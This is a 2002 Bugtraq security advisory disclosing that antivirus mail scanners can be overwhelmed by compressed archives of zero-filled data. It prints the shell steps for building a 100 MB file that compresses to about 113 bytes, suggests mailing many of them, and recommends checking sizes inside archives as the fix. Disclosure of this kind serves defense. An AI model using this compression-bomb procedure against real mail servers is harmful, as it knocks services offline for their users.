Anti Virus Mailscanners DOS

From: Eduardo R. Maciel (maciel@inetd.com.br)
Date: 02/25/02 

Date: Mon, 25 Feb 2002 16:29:02 -0300
From: "Eduardo R. Maciel" <maciel@inetd.com.br>
To: bugtraq@securityfocus.com

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-----[ SECURITY ANNOUNCEMENT ]-----
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iNetd Security Research Annoucement

Name: Anti Virus Mailscanners DOS
Systems Affected: System independant
Date: 25/02/2002
Subject: Potential DOS.
Severity: HIGH
Author: Eduardo R. Maciel (maciel@inetd.com.br)

Description
===========
An antivirus mailscanner should check the filesizes inside a compressed file like .tar.gz, .zip, .bz2, etc, BEFORE open the file for scanning.

All the products that doesn't do that checking are vulnerable to a Denial Of Service attack.

Pay attention to the procedure below:

root@maciel:/tmp# dd if=/dev/zero of=/tmp/file count=200000

root@maciel:/tmp# ls -l /tmp/file
-rw-r--r-- 1 root root 102400000 Feb 24 22:13 file

root@maciel:/tmp# bzip2 -z file

root@maciel:/tmp# ls -l /tmp/file.bz2
rw-r--r-- 1 root root 113 Feb 24 22:14 file

Since the file has only null (numerical zeros, not the ASCII kind) characters, the size of the compressed file was reduced to a almost insignificant value.
Sending several mails with these compressed files may let a machine out of memory or disk space.

Solution
========
        The mailscanner should check the filesizes inside a compressed file.

Credits:
        Eduardo R. Maciel
        maciel@inetd.com.br